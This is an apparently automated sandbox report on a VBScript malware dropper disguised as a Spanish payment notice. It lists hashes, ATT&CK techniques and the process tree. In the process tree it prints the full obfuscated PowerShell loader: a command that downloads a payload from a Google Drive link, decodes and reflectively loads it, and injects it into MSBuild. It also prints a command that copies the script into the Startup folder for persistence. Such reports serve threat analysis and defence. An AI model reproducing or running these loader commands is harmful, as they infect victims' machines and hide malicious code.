ac6feffb1c2ea23c256c6b1a4a6dd2e1b56e55f7900fa635c656e62738924e7b

General

Target

COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs
Size

68KB
MD5

943b9220d27c71f1f97524ea87db7ebd
SHA1

d57a52c81bcff8ea2f4def7646aa9d4fb3dc9972
SHA256

370e7db7155cd9b03875431462ffc8223dcc4bf7c1dcb5a07420e84bc6316d93
SHA512

a6e66e74af19902ba71154a17f4625690638b57ba2fc419a19040bce1c5c3b81f64049687dd666d0471f6075675ad0c831ebedd8f0cfef1a6de28a65db9bff58
SSDEEP

1536:bUJW4Wrle/PhG+/kery+bGNccc3gt5pzKUGwm:jS7rgt5p3Gwm

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	540	WScript.exe
7	540	WScript.exe
26	3552	powershell.exe
28	3552	powershell.exe
30	3552	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1108	powershell.exe
2304	powershell.exe
3552	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CJJ.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	drive.google.com
26	drive.google.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3552 set thread context of 4844	3552	powershell.exe	107

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2380	cmd.exe
4800	PING.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4592	timeout.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4800	PING.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1108	powershell.exe
1108	powershell.exe
2304	powershell.exe
2304	powershell.exe
3552	powershell.exe
3552	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	4844	MSBuild.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 540 wrote to memory of 2380	540	WScript.exe	86
PID 540 wrote to memory of 2380	540	WScript.exe	86
PID 2380 wrote to memory of 4800	2380	cmd.exe	89
PID 2380 wrote to memory of 4800	2380	cmd.exe	89
PID 2380 wrote to memory of 1108	2380	cmd.exe	102
PID 2380 wrote to memory of 1108	2380	cmd.exe	102
PID 540 wrote to memory of 2304	540	WScript.exe	103
PID 540 wrote to memory of 2304	540	WScript.exe	103
PID 2304 wrote to memory of 3552	2304	powershell.exe	105
PID 2304 wrote to memory of 3552	2304	powershell.exe	105
PID 3552 wrote to memory of 4844	3552	powershell.exe	107
PID 3552 wrote to memory of 4844	3552	powershell.exe	107
PID 3552 wrote to memory of 4844	3552	powershell.exe	107
PID 3552 wrote to memory of 4844	3552	powershell.exe	107
PID 3552 wrote to memory of 4844	3552	powershell.exe	107
PID 3552 wrote to memory of 4844	3552	powershell.exe	107
PID 3552 wrote to memory of 4844	3552	powershell.exe	107
PID 3552 wrote to memory of 4844	3552	powershell.exe	107
PID 4844 wrote to memory of 1796	4844	MSBuild.exe	113
PID 4844 wrote to memory of 1796	4844	MSBuild.exe	113
PID 4844 wrote to memory of 1796	4844	MSBuild.exe	113
PID 1796 wrote to memory of 4592	1796	cmd.exe	115
PID 1796 wrote to memory of 4592	1796	cmd.exe	115
PID 1796 wrote to memory of 4592	1796	cmd.exe	115

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\COPIA_ANEXA_DOCUMENTO_DE_REPORTE_Y_NOTIFICACION_POR_SALDOS_PENDIENTES_DE_PAGO_CONCEPTO_OPERACIONES_M.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTaG9NRVs0XSskUFNob21FWzM0XSsnWCcpKCgnNVFWaW1hZ2VVcmwgPSBNVklodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFVeUhxd3JuWENsSycrJ0JKM2o2M0xsMXQyU3RWZ0d4YlN0MCBNVkk7NVFWd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaScrJ2VudDs1UVZpbWFnZUJ5dGVzID0gNVFWd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YSg1UVZpbWFnZVVybCk7NVFWaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoNVFWaW1hZ2VCeXRlJysncyk7NScrJ1FWc3RhcnRGbGFnID0gTVZJPDxCQVNFNjRfU1RBUlQ+Pk0nKydWSTs1UVZlbmRGbGFnID0gTVZJPDxCQVNFNjRfRU5EPj5NVkk7NVFWJysnc3RhcnRJbmRleCA9IDVRVmltYWdlVGV4dC5JbmRleE9mKDVRVnN0YXJ0RmxhZyk7NVFWZW5kSW5kZXggPSA1UVZpbWFnZVRleHQuSW5kZXhPZig1UVZlbmRGJysnbGFnKTs1UVZzdGEnKydydEluZGV4IC1nZSAwIC1hbmQgNVFWZW5kSW5kZXggLWd0IDVRVnN0YXJ0SW5kJysnZXg7NVFWc3RhcnRJbmRleCArPSA1UVZzdGFydEZsYWcuTGVuZ3RoOzVRVmJhc2UnKyc2NCcrJ0xlbmd0aCA9IDVRVicrJ2VuZEluZGV4IC0gNVFWJysnc3RhcnRJbmRleDs1UVZiYXNlNjRDb21tYW5kID0nKycgNVFWaW1hZ2VUZXh0LlN1YnN0cmluZyg1UVZzdGFydEluZGV4LCA1UVZiYXNlNjRMZW5ndGgpOzVRVmJhc2U2NFJldmVyc2VkID0gLScrJ2pvaW4gKDVRVmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBaYlknKycgRm8nKydyRWFjaC1PYmplY3QgeyA1UVZfIH0pWy0xLi4tKDVRVmJhc2U2NCcrJ0NvbW1hJysnbmQuTGVuZ3RoKV07NScrJ1FWY29tbWFuZEJ5dGVzID0gW1N5c3RlbS4nKydDb252ZXJ0XTo6RnJvbUJhJysnc2U2JysnNFN0cmluZyg1UVZiYXNlNjRSZXZlcnNlZCk7NVFWJysnbCcrJ29hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDVRVmNvbW1hbmRCeXRlJysncyk7NVFWdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChNVklWQUlNVkkpOzVRVnZhaU1ldGhvZC4nKydJbnZva2UoNVFWbnVsbCwgQChNJysnVkkwL2F3aVNJLycrJ2QvZWUuZXRzYXAvLzpzcHR0aE1WSSwgTVZJZGUnKydzYXRpdmFkb01WSSwgTVZJZGVzYXRpdmFkb01WSSwgTVZJZGVzYXRpdmFkb01WSSwgTVZJTVNCdWlsZE1WSSwgTVZJZGVzYXRpdmFkb01WSSwgJysnTVZJZGVzYXRpdmFkb01WSSxNVklkZXNhdGl2YWRvTVZJLCcrJ01WSWRlc2F0aScrJ3ZhZG9NVkksTScrJ1ZJZGVzYXRpdmFkb01WSSxNVklkZXNhdGl2YWRvTVZJLE1WSWRlc2F0aXZhZCcrJ29NVkksJysnTVZJMU1WSSxNVklkZXNhdGl2JysnYWRvTVZJKSk7JykucmVwbGFjZSgoW2NIQVJdOTArW2NIQVJdOTgrW2NIQVJdODkpLFtzdFJpTkddW2NIQVJdMTI0KS5yZXBsYWNlKChbY0hBUl03NytbY0hBUl04NitbY0hBUl03MyksW3N0UmlOR11bY0hBUl0zOSkucmVwbGFjZSgnNVFWJyxbc3RSaU5HXVtjSEFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pShoME[4]+$PShomE[34]+'X')(('5QVimageUrl = MVIhttps://drive.google.com/uc?export=download&id=1UyHqwrnXClK'+'BJ3j63Ll1t2StVgGxbSt0 MVI;5QVwebClient = New-Object System.Net.WebCli'+'ent;5QVimageBytes = 5QVwebClient.'+'DownloadData(5QVimageUrl);5QVimageText = [System.Text.Encoding]::UTF8.GetString(5QVimageByte'+'s);5'+'QVstartFlag = MVI<<BASE64_START>>M'+'VI;5QVendFlag = MVI<<BASE64_END>>MVI;5QV'+'startIndex = 5QVimageText.IndexOf(5QVstartFlag);5QVendIndex = 5QVimageText.IndexOf(5QVendF'+'lag);5QVsta'+'rtIndex -ge 0 -and 5QVendIndex -gt 5QVstartInd'+'ex;5QVstartIndex += 5QVstartFlag.Length;5QVbase'+'64'+'Length = 5QV'+'endIndex - 5QV'+'startIndex;5QVbase64Command ='+' 5QVimageText.Substring(5QVstartIndex, 5QVbase64Length);5QVbase64Reversed = -'+'join (5QVbase64Command.ToCharArray() ZbY'+' Fo'+'rEach-Object { 5QV_ })[-1..-(5QVbase64'+'Comma'+'nd.Length)];5'+'QVcommandBytes = [System.'+'Convert]::FromBa'+'se6'+'4String(5QVbase64Reversed);5QV'+'l'+'oadedAssembly = [System.Reflection.Assembly]::Load(5QVcommandByte'+'s);5QVvaiMethod = [dnlib.IO.Home].GetMethod(MVIVAIMVI);5QVvaiMethod.'+'Invoke(5QVnull, @(M'+'VI0/awiSI/'+'d/ee.etsap//:sptthMVI, MVIde'+'sativadoMVI, MVIdesativadoMVI, MVIdesativadoMVI, MVIMSBuildMVI, MVIdesativadoMVI, '+'MVIdesativadoMVI,MVIdesativadoMVI,'+'MVIdesati'+'vadoMVI,M'+'VIdesativadoMVI,MVIdesativadoMVI,MVIdesativad'+'oMVI,'+'MVI1MVI,MVIdesativ'+'adoMVI));').replace(([cHAR]90+[cHAR]98+[cHAR]89),[stRiNG][cHAR]124).replace(([cHAR]77+[cHAR]86+[cHAR]73),[stRiNG][cHAR]39).replace('5QV',[stRiNG][cHAR]36) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3552
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4844
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7277.tmp.bat""
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1796
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
59d97011e091004eaffb9816aa0b9abd

SHA1
1602a56b01dd4b7c577ca27d3117e4bcc1aa657b

SHA256
18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d

SHA512
d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
33e3bbf05370d7c7329fb18f1914c038

SHA1
a5616f5249b91675c967b28ad5530a6710effa53

SHA256
bbfecfd8a461cdc0ef823ccef3d3e1df8ff55a2a45d5b1317d3b6f47f1d03d6f

SHA512
1c6c63a82b18b1bdb4574b606a5c664792dfb38b9c226b41fd5317ef9747364343b32bb1766938b98babdace537dceda4dd24e1d207526b9194526b3f2c5dd4c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jlthzm5q.33i.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7277.tmp.bat

Filesize
171B

MD5
e1360ec83c84f2eebc3a1c2b8f2b501c

SHA1
98379bf6ad6e9f5aac85e55db2081c883195143c

SHA256
2c107c489e13c1ac814e0c210dfc9ff3f4ecf1611a8cfbc0de7436e1b05263a4

SHA512
34bd4d1f13749e885e2b5bb32294192399ac1aca54a403aec507cd92fc18309aa152f59f5ac4f0d618ec8a9bd923e733f65a75c4eaec280373bf1fe8307a3722

Download Submit
memory/1108-7-0x0000026BE8D40000-0x0000026BE8D62000-memory.dmp

Filesize
136KB

Download
memory/1108-12-0x00007FF8961F0000-0x00007FF896CB1000-memory.dmp

Filesize
10.8MB

Download
memory/1108-13-0x00007FF8961F0000-0x00007FF896CB1000-memory.dmp

Filesize
10.8MB

Download
memory/1108-14-0x00007FF8961F0000-0x00007FF896CB1000-memory.dmp

Filesize
10.8MB

Download
memory/1108-17-0x00007FF8961F0000-0x00007FF896CB1000-memory.dmp

Filesize
10.8MB

Download
memory/1108-1-0x00007FF8961F3000-0x00007FF8961F5000-memory.dmp

Filesize
8KB

Download
memory/3552-38-0x000002CBF5B50000-0x000002CBF5CA8000-memory.dmp

Filesize
1.3MB

Download
memory/4844-39-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/4844-46-0x0000000005B70000-0x0000000005C0C000-memory.dmp

Filesize
624KB

Download
memory/4844-47-0x00000000061C0000-0x0000000006764000-memory.dmp

Filesize
5.6MB

Download
memory/4844-48-0x0000000005C80000-0x0000000005CE6000-memory.dmp

Filesize
408KB

Download
memory/4844-49-0x0000000001210000-0x0000000001286000-memory.dmp

Filesize
472KB

Download
memory/4844-50-0x0000000000D10000-0x0000000000D34000-memory.dmp

Filesize
144KB

Download
memory/4844-51-0x00000000011C0000-0x00000000011DE000-memory.dmp

Filesize
120KB

Download
memory/4844-52-0x0000000006A60000-0x0000000006AF2000-memory.dmp

Filesize
584KB

Download
memory/4844-53-0x0000000006B00000-0x0000000006B12000-memory.dmp

Filesize
72KB

Download
memory/4844-45-0x0000000005AC0000-0x0000000005ACA000-memory.dmp

Filesize
40KB

Download

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